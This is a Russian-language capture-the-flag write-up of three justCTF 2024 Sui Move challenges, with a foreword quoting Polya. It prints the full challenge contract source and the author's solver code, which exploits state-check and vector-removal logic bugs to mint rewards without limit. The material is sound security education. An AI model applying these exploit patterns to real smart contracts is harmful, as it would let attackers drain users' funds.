Рустам Гусейнов
председатель кооператива РАД КОП
Статья написана нашим товарищем Ратмиром Карабутом (https://ratmirkarabut.com) , который тренирует команду РАД КОП в рамках развивающейся CTF практики, специально для кооператива.
Среди нескольких задач, которые мне удалось решить на недавнем 24-часовом квалификационном раунде justCTF, три относились к категории блокчейна и в основе своей имели простые игры-контракты на Move, размещенные в тестнете Sui. Каждая представляла собой сервис, принимающий контракт-солвер и проверяющий условия решения при его взаимодействии с опубликованным контрактом-челленджем, чтобы при их выполнении отдать флаг.
Ни одна из них не выглядит особенно трудной, но, судя по количеству решений, немногие из участвующих команд взялись за категорию в целом, поэтому в сравнении с другими сходными по сложности флагами эти три задачи благодаря динамическому скорингу приносили вместе значительное количество очков. Первая по сложности и вовсе скорее напоминала микчек-разминку с тривиальным решением, вторая была более вовлеченной, но загадка в третьей показалась мне действительно забавной, что и вдохновило меня на эту статью. Стоит, тем не менее, описать все по порядку.
Рустам Гусейнов
председатель кооператива РАД КОП
Когда мы с товарищами по кооперативу впервые приехали в гости к Ратмиру в январе 2022 года меня поразила систематичность его мышления. Помню его лекцию по книге Дьердя Пойя «Как решать задачу», и демонстрация того, насколько мышление хакера похоже на мышление математика, решающего задачу. Очень рекомендую её к прочтению, потому что изложенная методология проста в освоении и здорово «ставит мозги на место», вот пара цитат:
«Глупо отвечать на вопрос, который вы не поняли. Невесело работать для цели, к которой вы не стремитесь. Такие глупые и невесёлые вещи часто случаются как в школе, так и вне её, однако учителю следует стараться предотвращать их в своём классе. Ученик должен понять задачу. Но не только понять; он должен хотеть решить её. Если ученику не хватает понимания задачи или интереса к ней, это не всегда его вина. Задача должна быть умело выбрана, она должна быть не слишком трудной и не слишком лёгкой, быть естественной и интересной, причём некоторое время нужно уделять для её естественной и интересной интерпретации».
«Путь от понимания постановки задачи до представления себе плана решения может быть долгим и извилистым. И действительно, главный шаг на пути к решению задачи состоит в том, чтобы выработать идею плана. Эта идея может появляться постепенно. Или она может возникнуть вдруг, в один миг, после, казалось бы, безуспешных попыток и продолжительных сомнений. Тогда мы назовем её «блестящей идеей».
Лучшее, что может сделать учитель для учащегося, состоит в том, чтобы путём неназойливой помощи подсказать ему блестящую идею».
[The Otter Scrolls] — easy (246 points, 33 solves)
Исходник контракта:
https://2024.justctf.team/challenges/11
module challenge::theotterscrolls {
// --------------------------------------------------- // DEPENDENCIES // --------------------------------------------------- use sui::table::{Self, Table}; use std::string::{Self, String}; use std::debug; // --------------------------------------------------- // STRUCTS // --------------------------------------------------- public struct Spellbook has key { id: UID, casted: bool, spells: Table<u8, vector<String>> } // --------------------------------------------------- // FUNCTIONS // --------------------------------------------------- //The spell consists of five magic words, which have to be read in the correct order! fun init(ctx: &mut TxContext) { let mut all_words = table::new(ctx); let fire = vector[ string::utf8(b"Blast"), string::utf8(b"Inferno"), string::utf8(b"Pyre"), string::utf8(b"Fenix"), string::utf8(b"Ember") ]; let wind = vector[ string::utf8(b"Zephyr"), string::utf8(b"Swirl"), string::utf8(b"Breeze"), string::utf8(b"Gust"), string::utf8(b"Sigil") ]; let water = vector[ string::utf8(b"Aquarius"), string::utf8(b"Mistwalker"), string::utf8(b"Waves"), string::utf8(b"Call"), string::utf8(b"Storm") ]; let earth = vector[ string::utf8(b"Tremor"), string::utf8(b"Stoneheart"), string::utf8(b"Grip"), string::utf8(b"Granite"), string::utf8(b"Mudslide") ]; let power = vector[ string::utf8(b"Alakazam"), string::utf8(b"Hocus"), string::utf8(b"Pocus"), string::utf8(b"Wazzup"), string::utf8(b"Wrath") ]; table::add(&mut all_words, 0, fire); table::add(&mut all_words, 1, wind); table::add(&mut all_words, 2, water); table::add(&mut all_words, 3, earth); table::add(&mut all_words, 4, power); let spellbook = Spellbook { id: object::new(ctx), casted: false, spells: all_words }; transfer::share_object(spellbook); } public fun cast_spell(spell_sequence: vector<u64>, book: &mut Spellbook) { let fire = table::remove(&mut book.spells, 0); let wind = table::remove(&mut book.spells, 1); let water = table::remove(&mut book.spells, 2); let earth = table::remove(&mut book.spells, 3); let power = table::remove(&mut book.spells, 4); let fire_word_id = *vector::borrow(&spell_sequence, 0); let wind_word_id = *vector::borrow(&spell_sequence, 1); let water_word_id = *vector::borrow(&spell_sequence, 2); let earth_word_id = *vector::borrow(&spell_sequence, 3); let power_word_id = *vector::borrow(&spell_sequence, 4); let fire_word = vector::borrow(&fire, fire_word_id); let wind_word = vector::borrow(&wind, wind_word_id); let water_word = vector::borrow(&water, water_word_id); let earth_word = vector::borrow(&earth, earth_word_id); let power_word = vector::borrow(&power, power_word_id); if (fire_word == string::utf8(b"Inferno")) { if (wind_word == string::utf8(b"Zephyr")) { if (water_word == string::utf8(b"Call")) { if (earth_word == string::utf8(b"Granite")) { if (power_word == string::utf8(b"Wazzup")) { book.casted = true; } } } } } } public fun check_if_spell_casted(book: &Spellbook): bool { let casted = book.casted; assert!(casted == true, 1337); casted }
}
Общий смысл первой задачи, The Otter Scrolls, заключался в освоении процесса работы с предоставленным фреймворком — пробежав глазами контракт, понимаем, что нужно только отправить ему вектор с правильной последовательностью индексов, даже не обфусцированной в исходниках контракта, и вызвать после этого необходимые для получения флага функции. Для этого достаточно дописать в тело `solve()` в выданном `sources/framework-solve/solve/sources/solve.move`:
public fun solve( _spellbook: &mut theotterscrolls::Spellbook, _ctx: &mut TxContext ) { let spell = vector[1u64,0,3,3,3]; theotterscrolls::cast_spell(spell, _spellbook); theotterscrolls::check_if_spell_casted(_spellbook); }
После этого нужно прописать в `sources/framework-solve/dependency/Move.toml` верный адрес челлендж-контракта (его можно получить, напрямую постучавшись к сервису по выданному в условии адресу с помощью `nc tos.nc.jsctf.pro 31337`):
```toml ... [addresses] admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e" challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b" ```
Запустив после этого `HOST=tos.nc.jctf.pro ./runclient.sh` (и, конечно, установив [Sui] (https://docs.sui.io/guides/developer/getting-started/sui-install#install-sui-binaries-from-source)), получаем от сервиса первый флаг.
[Dark BrOTTERhood] — medium (275 points, 25 solves)
Исходник контракта:
https://2024.justctf.team/challenges/13
module challenge::Otter {
// --------------------------------------------------- // DEPENDENCIES // --------------------------------------------------- use sui::coin::{Self, Coin}; use sui::balance::{Self, Supply}; use sui::url; use sui::random::{Self, Random}; use sui::table::{Self, Table}; // --------------------------------------------------- // CONST // --------------------------------------------------- const NEW: u64 = 1; const WON: u64 = 2; const FINISHED: u64 = 3; const WRONG_AMOUNT: u64 = 1337; const BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT: u64 = 1338; const WRONG_STATE: u64 = 1339; const ALREADY_REGISTERED: u64 = 1340; const NOT_REGISTERED: u64 = 1341; const TOO_MUCH_MONSTERS: u64 = 1342; const NOT_SOLVED: u64 = 1343; const QUEST_LIMIT: u64 = 25; // --------------------------------------------------- // STRUCTS // --------------------------------------------------- public struct OTTER has drop {} public struct OsecSuply<phantom CoinType> has key { id: UID, supply: Supply<CoinType> } public struct Vault<phantom CoinType> has key { id: UID, cash: Coin<CoinType> } public struct Monster has store { fight_status: u64, reward: u8, power: u8 } public struct QuestBoard has key, store { id: UID, quests: vector<Monster>, players: Table<address, bool> } public struct Flag has key, store { id: UID, user: address, flag: bool } public struct Player has key, store { id: UID, user: address, coins: Coin<OTTER>, power: u8 } // --------------------------------------------------- // MINT CASH // --------------------------------------------------- fun init(witness: OTTER, ctx: &mut TxContext) { let (mut treasury, metadata) = coin::create_currency( witness, 9, b"OSEC", b"Osec", b"Otter ca$h", option::some(url::new_unsafe_from_bytes(b"https://osec.io/")), ctx ); transfer::public_freeze_object(metadata); let pool_liquidity = coin::mint<OTTER>(&mut treasury, 50000, ctx); let vault = Vault<OTTER> { id: object::new(ctx), cash: pool_liquidity }; let supply = coin::treasury_into_supply(treasury); let osec_supply = OsecSuply<OTTER> { id: object::new(ctx), supply }; transfer::transfer(osec_supply, tx_context::sender(ctx)); transfer::share_object(QuestBoard { id: object::new(ctx), quests: vector::empty(), players: table::new(ctx) }); transfer::share_object(vault); } public fun mint(sup: &mut OsecSuply<OTTER>, amount: u64, ctx: &mut TxContext): Coin<OTTER> { let osecBalance = balance::increase_supply(&mut sup.supply, amount); coin::from_balance(osecBalance, ctx) } public entry fun mint_to(sup: &mut OsecSuply<OTTER>, amount: u64, to: address, ctx: &mut TxContext) { let osec = mint(sup, amount, ctx); transfer::public_transfer(osec, to); } public fun burn(sup: &mut OsecSuply<OTTER>, c: Coin<OTTER>): u64 { balance::decrease_supply(&mut sup.supply, coin::into_balance(c)) } // --------------------------------------------------- // REGISTER // --------------------------------------------------- public fun register(sup: &mut OsecSuply<OTTER>, board: &mut QuestBoard, player: address, ctx: &mut TxContext) { assert!(!table::contains(&board.players, player), ALREADY_REGISTERED); table::add(&mut board.players, player, false); transfer::transfer(Player { id: object::new(ctx), user: tx_context::sender(ctx), coins: mint(sup, 137, ctx), power: 10 }, player); } // --------------------------------------------------- // SHOP // --------------------------------------------------- #[allow(lint(self_transfer))] public fun buy_flag(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext): Flag { assert!(coin::value(&player.coins) >= 1337, WRONG_AMOUNT); let coins = coin::split(&mut player.coins, 1337, ctx); coin::join(&mut vault.cash, coins); Flag { id: object::new(ctx), user: tx_context::sender(ctx), flag: true } } public fun buy_sword(vault: &mut Vault<OTTER>, player: &mut Player, ctx: &mut TxContext) { assert!(coin::value(&player.coins) >= 137, WRONG_AMOUNT); let coins = coin::split(&mut player.coins, 137, ctx); coin::join(&mut vault.cash, coins); player.power = player.power + 100; } // --------------------------------------------------- // ADVENTURE TIME // --------------------------------------------------- #[allow(lint(public_random))] public fun find_a_monster(board: &mut QuestBoard, r: &Random, ctx: &mut TxContext) { assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MUCH_MONSTERS); let mut generator = random::new_generator(r, ctx); let quest = Monster { fight_status: NEW, reward: random::generate_u8_in_range(&mut generator, 13, 37), power: random::generate_u8_in_range(&mut generator, 13, 73) }; vector::push_back(&mut board.quests, quest); } public fun fight_monster(board: &mut QuestBoard, player: &mut Player, quest_id: u64) { let quest = vector::borrow_mut(&mut board.quests, quest_id); assert!(quest.fight_status == NEW, WRONG_STATE); assert!(player.power > quest.power, BETTER_BRING_A_KNIFE_TO_A_GUNFIGHT); player.power = 10; // sword breaks after fighting the monster :c quest.fight_status = WON; } public fun return_home(board: &mut QuestBoard, quest_id: u64) { let quest_to_finish = vector::borrow_mut(&mut board.quests, quest_id); assert!(quest_to_finish.fight_status == WON, WRONG_STATE); quest_to_finish.fight_status = FINISHED; } #[allow(lint(self_transfer))] public fun get_the_reward( vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, quest_id: u64, ctx: &mut TxContext, ) { let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id); assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE); let monster = vector::pop_back(&mut board.quests); let Monster { fight_status: _, reward: reward, power: _ } = monster; let coins = coin::split(&mut vault.cash, (reward as u64), ctx); coin::join(&mut player.coins, coins); } // --------------------------------------------------- // PROVE SOLUTION // --------------------------------------------------- public fun prove(board: &mut QuestBoard, flag: Flag) { let Flag { id, user, flag } = flag; object::delete(id); assert!(table::contains(&board.players, user), NOT_REGISTERED); assert!(flag, NOT_SOLVED); *table::borrow_mut(&mut board.players, user) = true; } // --------------------------------------------------- // CHECK WINNER // --------------------------------------------------- public fun check_winner(board: &QuestBoard, player: address) { assert!(*table::borrow(&board.players, player) == true, NOT_SOLVED); }
}
Анализ
Пробежав глазами второй контракт, видим, что основная интересующая нас игровая логика находится после стандартной обвязки в функциях секций SHOP и ADVENTURE TIME. При регистрации игрок получает 137 монет и 10 силы; вызвав функцию `find_a_monster()`, мы можем добавить в вектор `board.quests` «монстра» со случайными значениями силы (от 13 до 37) и награды (от 13 до 73), а также состоянием `NEW`. `fight_monster()` позволяет нам победить монстра из вектора квестов, если он находится в состоянии `NEW`, а его сила меньше силы игрока, сбрасывает в этом случае силу игрока к 10 и меняет состояние квеста на `WON`.
Чтобы получить необходимую для победы силу, придется вызвать `buy_sword()` — «меч» увеличит силу на 100 (что гарантирует выполнение условия из `fight_monster()`), но будет стоить игроку 137 монет — то есть все полученные изначально деньги. Так как максимальная награда за монстра — всего 73 монеты, первый же «бой» сделает продолжение игры по ее предполагаемой логике невозможным — по функции `buy_flag` ясно, что для покупки флага нам потребуется 1337 монет.
Оставшиеся игровые функции — `return_home()`, смысл которой заключается в простом переключении состояния выбранного квеста с `WON` на `FINISHED`, и `get_the_reward()`, которая проверяет состояние `FINISHED` и выдает игроку награду. К ней-то нам и следует присмотреться внимательнее:
#[allow(lint(self_transfer))] public fun get_the_reward( vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, quest_id: u64, ctx: &mut TxContext, ) { let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id); assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE); let monster = vector::pop_back(&mut board.quests); let Monster { fight_status: _, reward: reward, power: _ } = monster; let coins = coin::split(&mut vault.cash, (reward as u64), ctx); coin::join(&mut player.coins, coins); }
Ключевая деталь, бросающаяся в глаза — несоответствие _проверяемого_ квеста квесту, _убираемому_ из вектора; хотя нам позволено указать индекс квеста, за который мы хотим получить награду, и именно его состояние необходимо установить в `FINISHED`, из вектора убирается не он сам, а последний элемент вектора — через `vector::pop_back()` ([Vector — The Move Book](https://move-language.github.io/move/vector.html#operations))!
Эксплуатация
Выходит, что, так как ничто не мешает нам наполнить вектор произвольным (до `QUEST_LIMIT` — 25) количеством квестов, мы можем потребовать у игры двух монстров, победить первого, купив меч — что позволяют начальные условия — перевести тем самым состояние квеста 0 в `WON`, затем в `FINISHED` при помощи `return_home()`, затем, указав его индекс в `get_the_reward()`, получить награду за _второго_ — последнего в векторе — монстра, оставив при этом первого в состоянии `FINISHED`. Вызывая после этого `find_a_monster()` и `get_the_reward()` необходимое — неограниченное — количество раз, мы можем гарантированно заработать на флаг примерно за сотню повторений.
Допишем решение в `solve()`:
public fun solve( _vault: &mut Otter::Vault<OTTER>, _board: &mut Otter::QuestBoard, _player: &mut Otter::Player, _r: &Random, _ctx: &mut TxContext, ) { Otter::buy_sword(_vault, _player, _ctx); Otter::find_a_monster(_board, _r, _ctx); Otter::fight_monster(_board, _player, 0); Otter::return_home(_board, 0); let mut i = 0; loop { Otter::find_a_monster(_board, _r, _ctx); Otter::get_the_reward(_vault, _board, _player, 0, _ctx); i = i + 1; if (i == 100) break; }; let flag = Otter::buy_flag(_vault, _player, _ctx); Otter::prove(_board, flag); }
После чего, аналогично первой задаче, получаем и прописываем в `sources/framework-solve/dependency/Move.toml` адрес контракта и, запустив клиент, получаем второй флаг.
[World of Ottercraft] — hard (271 points, 26 solves)
Исходник контакта:
https://2024.justctf.team/challenges/12
module challenge::Otter {
// --------------------------------------------------- // DEPENDENCIES // --------------------------------------------------- use sui::coin::{Self, Coin}; use sui::balance::{Self, Balance, Supply}; use sui::table::{Self, Table}; use sui::url; // --------------------------------------------------- // CONST // --------------------------------------------------- // STATUSES const PREPARE_FOR_TROUBLE: u64 = 1; const ON_ADVENTURE: u64 = 2; const RESTING: u64 = 3; const SHOPPING: u64 = 4; const FINISHED: u64 = 5; // ERROR CODES const WRONG_AMOUNT: u64 = 1337; const BETTER_GET_EQUIPPED: u64 = 1338; const WRONG_PLAYER_STATE: u64 = 1339; const ALREADY_REGISTERED: u64 = 1340; const TOO_MANY_MONSTERS: u64 = 1341; const BUY_SOMETHING: u64 = 1342; const NO_SUCH_PLAYER: u64 = 1343; const NOT_SOLVED: u64 = 1344; // LIMITS const QUEST_LIMIT: u64 = 25; // --------------------------------------------------- // STRUCTS // --------------------------------------------------- public struct OTTER has drop {} public struct OsecSuply<phantom CoinType> has key { id: UID, supply: Supply<CoinType> } public struct Vault<phantom CoinType> has key { id: UID, cash: Coin<CoinType> } public struct Monster has store { reward: u64, power: u64 } public struct QuestBoard has key, store { id: UID, quests: vector<Monster>, players: Table<address, bool> //<player_address, win_status> } public struct Player has key, store { id: UID, user: address, power: u64, status: u64, quest_index: u64, wallet: Balance<OTTER> } public struct TawernTicket { total: u64, flag_bought: bool } // --------------------------------------------------- // MINT CASH // --------------------------------------------------- fun init(witness: OTTER, ctx: &mut TxContext) { let (mut treasury, metadata) = coin::create_currency(witness, 9, b"OSEC", b"Osec", b"Otter ca$h", option::some(url::new_unsafe_from_bytes(b"https://osec.io/")), ctx); transfer::public_freeze_object(metadata); let pool_liquidity = coin::mint<OTTER>(&mut treasury, 50000, ctx); let vault = Vault<OTTER> { id: object::new(ctx), cash: pool_liquidity }; let supply = coin::treasury_into_supply(treasury); let osec_supply = OsecSuply { id: object::new(ctx), supply }; transfer::transfer(osec_supply, tx_context::sender(ctx)); transfer::share_object(QuestBoard { id: object::new(ctx), quests: vector::empty(), players: table::new(ctx) }); transfer::share_object(vault); } public fun mint(sup: &mut OsecSuply<OTTER>, amount: u64, ctx: &mut TxContext): Coin<OTTER> { let osecBalance = balance::increase_supply(&mut sup.supply, amount); coin::from_balance(osecBalance, ctx) } public entry fun mint_to(sup: &mut OsecSuply<OTTER>, amount: u64, to: address, ctx: &mut TxContext) { let osec = mint(sup, amount, ctx); transfer::public_transfer(osec, to); } public fun burn(sup: &mut OsecSuply<OTTER>, c: Coin<OTTER>): u64 { balance::decrease_supply(&mut sup.supply, coin::into_balance(c)) } // --------------------------------------------------- // REGISTER - ADMIN FUNCTION // --------------------------------------------------- public fun register(_: &mut OsecSuply<OTTER>, board: &mut QuestBoard, vault: &mut Vault<OTTER>, player: address, ctx: &mut TxContext) { assert!(!table::contains(&board.players, player), ALREADY_REGISTERED); let new_cash = coin::into_balance(coin::split(&mut vault.cash, 250, ctx)); let new_player_obj = Player { id: object::new(ctx), user: player, power: 10, status: RESTING, quest_index: 0, wallet: new_cash }; table::add(&mut board.players, player, false); transfer::transfer(new_player_obj, player); } public fun check_winner(board: &QuestBoard, player: address) { assert!(table::contains(&board.players, player), NO_SUCH_PLAYER); assert!(table::borrow(&board.players, player) == true, NOT_SOLVED); } // --------------------------------------------------- // TAVERN // --------------------------------------------------- public fun enter_tavern(player: &mut Player): TawernTicket { assert!(player.status == RESTING, WRONG_PLAYER_STATE); player.status = SHOPPING; TawernTicket{ total: 0, flag_bought: false } } public fun buy_flag(ticket: &mut TawernTicket, player: &mut Player) { assert!(player.status == SHOPPING, WRONG_PLAYER_STATE); ticket.total = ticket.total + 537; ticket.flag_bought = true; } public fun buy_sword(player: &mut Player, ticket: &mut TawernTicket) { assert!(player.status == SHOPPING, WRONG_PLAYER_STATE); player.power = player.power + 213; ticket.total = ticket.total + 140; } public fun buy_shield(player: &mut Player, ticket: &mut TawernTicket) { assert!(player.status == SHOPPING, WRONG_PLAYER_STATE); player.power = player.power + 7; ticket.total = ticket.total + 20; } public fun buy_power_of_friendship(player: &mut Player, ticket: &mut TawernTicket) { assert!(player.status == SHOPPING, WRONG_PLAYER_STATE); player.power = player.power + 9000; //it's over 9000! ticket.total = ticket.total + 190; } public fun checkout(ticket: TawernTicket, player: &mut Player, ctx: &mut TxContext, vault: &mut Vault<OTTER>, board: &mut QuestBoard) { let TawernTicket{ total, flag_bought } = ticket; assert!(total > 0, BUY_SOMETHING); assert!(balance::value<OTTER>(&player.wallet) >= total, WRONG_AMOUNT); let balance = balance::split(&mut player.wallet, total); let coins = coin::from_balance(balance, ctx); coin::join(&mut vault.cash, coins); if (flag_bought == true) { let flag = table::borrow_mut(&mut board.players, tx_context::sender(ctx)); *flag = true; std::debug::print(&std::string::utf8(b"$$$$$$$$$$$$$$$$$$$$$$$$$ FLAG BOUGHT $$$$$$$$$$$$$$$$$$$$$$$$$")); //debug }; player.status = RESTING; } // --------------------------------------------------- // ADVENTURE TIME // --------------------------------------------------- public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) { assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE); assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS); let quest = if (vector::length(&board.quests) % 3 == 0) { Monster { reward: 100, power: 73 } } else if (vector::length(&board.quests) % 3 == 1) { Monster { reward: 62, power: 81 } } else { Monster { reward: 79, power: 94 } }; vector::push_back(&mut board.quests, quest); player.status = PREPARE_FOR_TROUBLE; } public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) { assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE); let monster = vector::borrow_mut(&mut board.quests, quest_id); assert!(player.power > monster.power, BETTER_GET_EQUIPPED); player.status = ON_ADVENTURE; player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c monster.power = 0; //you win! wow! player.quest_index = quest_id; } public fun return_home(board: &mut QuestBoard, player: &mut Player) { assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE); let quest_to_finish = vector::borrow(&board.quests, player.quest_index); assert!(quest_to_finish.power == 0, WRONG_AMOUNT); player.status = FINISHED; } public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) { assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE); let monster = vector::remove(&mut board.quests, player.quest_index); let Monster { reward: reward, power: _ } = monster; let coins = coin::split(&mut vault.cash, reward, ctx); let balance = coin::into_balance(coins); balance::join(&mut player.wallet, balance); player.status = RESTING; }
}
Анализ
Игра в третьем контракте похожа на предыдущую, но устроена очевидно сложнее. Теперь отслеживается состояние самого игрока, а не монстра, и состояний пять — `PREPARE_FOR_TROUBLE`, `ON_ADVENTURE`, `RESTING`, `SHOPPING` и `FINISHED`. Далее, теперь для покупки силы (и флага) придется заходить в «таверну», вызвав функцию `enter_tavern()` — это переключит состояние игрока из необходимого (и начального) `RESTING` в `SHOPPING`, что проверяется всеми функциями покупки, и вернет переменную типа `TawernTicket`, которая по правилам Move должна быть потреблена внутри вызывающего контракта — это можно сделать только при помощи функции `checkout()`. Таким образом, игрок набирает «корзину» покупок и выходит из «таверны», снова переводя состояние в `RESTING`. Из `register()` ясно, что на этот раз мы начинаем с 250 монетами.
Функций покупки теперь четыре — `buy_flag()` устанавливает соответствующий флаг `ticket` (который позже проверяется в `checkout()`, приводя к победе) и увеличивает сумму на 537 монет, `buy_sword()`, `buy_shield()` и `buy_power_of_friendship()` же увеличивают силу игрока на 213, 7 и 9000 за 140, 20 и 190 монет соответственно.
Здесь можно сразу заметить, что **сила при покупке увеличивается моментально**, не требуя проверки на то, что необходимая для покупки сумма действительно имеется на счету игрока — такая проверка происходит только в самом `checkout()`, как и проверка на то, что общая стоимость выше 0 — не купив чего-то, выйти из таверны нельзя.
Кроме того, интересно, что, в отличие от функций покупки, `checkout()` вовсе не проверяет состояние игрока — очевидно, **расплатиться можно, и не находясь в «таверне»**. Запомним это на будущее.
Секция ADVENTURE TIME по-прежнему состоит из четырех функций — `find_a_monster()`, `bring_it_on()`, `return_home()` и `get_the_reward()`. Разберемся поподробнее:
public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) { assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE); assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS); let quest = if (vector::length(&board.quests) % 3 == 0) { Monster { reward: 100, power: 73 } } else if (vector::length(&board.quests) % 3 == 1) { Monster { reward: 62, power: 81 } } else { Monster { reward: 79, power: 94 } }; vector::push_back(&mut board.quests, quest); player.status = PREPARE_FOR_TROUBLE; }
`find_a_monster()` на этот раз не наделяет монстров случайными параметрами, а раздает награду и силу в зависимости от того, сколько монстров уже есть в векторе. Состояние переключается в `PREPARE_FOR_TROUBLE`, но интересно, что проверка в функции не требует определенного состояния, а не пускает только игроков в состояниях `SHOPPING`, `FINISHED` и `ON_ADVENTURE`. Деталь на первый взгляд кажется невинной, но все же запомним — **вызывать `find_a_monster()` можно неограниченное количество раз подряд**.
public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) { assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE); let monster = vector::borrow_mut(&mut board.quests, quest_id); assert!(player.power > monster.power, BETTER_GET_EQUIPPED); player.status = ON_ADVENTURE; player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c monster.power = 0; //you win! wow! player.quest_index = quest_id; }
`bring_it_on()` так же проверяет состояние игрока на _несоответствие_, но на этот раз вариантов, кроме `BRING_IT_ON`, не остается — поэтому функция может быть вызвана только после `find_a_monster()`, что выглядит корректно. Как и в Dark BrOTTERhood, игрок может выбрать произвольного монстра из вектора, чтобы помериться с ним силой. В случае победы состояние переходит в `ON_ADVENTURE`, сила игрока сбрасывается в 10, сила монстра устанавливается в 0, `player.quest_index` (изначально 0) — в индекс монстра.
public fun return_home(board: &mut QuestBoard, player: &mut Player) { assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE); let quest_to_finish = vector::borrow(&board.quests, player.quest_index); assert!(quest_to_finish.power == 0, WRONG_AMOUNT); player.status = FINISHED; }
`return_home()` опять же корректно, хотя и неуклюже, проверяет состояние и может быть вызвана, видимо, только после `bring_it_on()` — статус переключается из `ON_ADVENTURE` в `FINISHED`, если сила монстра по индексу в `player.quest_index` равна нулю.
public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) { assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE); let monster = vector::remove(&mut board.quests, player.quest_index); let Monster { reward: reward, power: _ } = monster; let coins = coin::split(&mut vault.cash, reward, ctx); let balance = coin::into_balance(coins); balance::join(&mut player.wallet, balance); player.status = RESTING; }
Наконец, `get_the_reward()` снова недопроверяет состояние — видим, что кроме подразумеваемого `FINISHED` **получить награду за квест можно не выходя из таверны**, то есть в статусе `SHOPPING`. В отличие от Dark BrOTTERhood, впрочем, похоже, что побежденный монстр корректно убирается из вектора — во всяком случае, используется `player.quest_index`, и произвольно указать индекс нельзя. Игрок же получает монеты и переходит в изначальный `RESTING`.
Эксплуатация
Для начала подведем итоги найденным багам:
1. сила игрока увеличивается в таверне до проверки на платежеспособность
2. расплатиться по чеку таверны можно откуда угодно, то есть из любого состояния
3. искать монстров, то есть добавлять их в список, можно много раз подряд (возможно, фича?)
4. получить награду за побежденного монстра (и вернуться на заслуженный отдых) можно прямо из таверны
Покрутив эти четыре пункта в голове так и эдак, осознаем, во-первых — **награду за монстра, полученную в таверне, можно тут же использовать для покупки**! В самом деле, если награда получается из таверны с переключением статуса в `RESTING`, а `checkout()` статус не проверяет вовсе, получить `TawernTicket` и расплатиться по нему можно, на деле увеличив, а не уменьшив, сумму на счету — без покупки обойтись нельзя, но для выполнения этого условия мы можем покупать дешевые щиты, которые полученная награда всегда будет перевешивать. Так как `get_the_reward()` использует неизменный `player.quest_index`, а также — во-вторых — **не выполняет никаких проверок на состояние самого квеста** (ведь сила монстра учитывается только в `bring_it_on()` и `return_home()`) — то нам было бы достаточно выстроить очередь из монстров на заклание, послушно сдвигающуюся к нашему (предпочтительно нулевому) индексу при каждом новом вызове `get_the_reward()`.
Но — в-третьих — **благодаря пункту 3 мы уже знаем, как устроить эту очередь**! Впрочем, как и в Dark BrOTTERhood, нам придется замарать руки и честно справиться с одним монстром, чтобы правильно обойти состояния в первый раз — к сожалению, мы никак не можем использовать для этого первый баг, поскольку `TawerTicket` должен быть использован корректно. Но этого и не нужно — начального капитала вполне хватит для первого сражения. Достаточно только купить меч и набрать полный контингент обманутых монстров при первом проходе через `find_a_monster()`:
public fun solve( _board: &mut Otter::QuestBoard, _vault: &mut Otter::Vault<OTTER>, _player: &mut Otter::Player, _ctx: &mut TxContext ) { let mut ticket = Otter::enter_tavern(_player); Otter::buy_sword(_player, &mut ticket); Otter::checkout(ticket, _player, _ctx, _vault, _board); let mut i = 0; loop { Otter::find_a_monster(_board, _player); i = i + 1; if (i == 25) break; }; Otter::bring_it_on(_board, _player, 0); Otter::return_home(_board, _player); Otter::get_the_reward(_vault, _board, _player, _ctx); i = 0; loop { let mut ticket = Otter::enter_tavern(_player); Otter::buy_shield(_player, &mut ticket); Otter::get_the_reward(_vault, _board, _player, _ctx); Otter::checkout(ticket, _player, _ctx, _vault, _board); i = i + 1; if (i == 24) break; }; let mut ticket = Otter::enter_tavern(_player); Otter::buy_flag(&mut ticket, _player); Otter::checkout(ticket, _player, _ctx, _vault, _board); }
Провернув знакомую процедуру, получаем третий и последний флаг в категории.
Заключение
Как видно, логические уязвимости в этой серии не имели прямого отношения к Move (пожалуй, за исключением ограничения на недоиспользование `TawernTicket` в третьей, что усложнило возможное решение) — в принципе, задачи могли бы быть реализованы в виде стандартных оффчейновых сервисов. Впрочем, оформлены они были хорошо, решать их было удобно, а повозиться с Sui любопытно, и это принесло здесь 792 из 1325 набранных мной очков — а кроме того, будет хорошей подготовкой к следующему MoveCTF.
Рустам Гусейнов
председатель кооператива РАД КОП
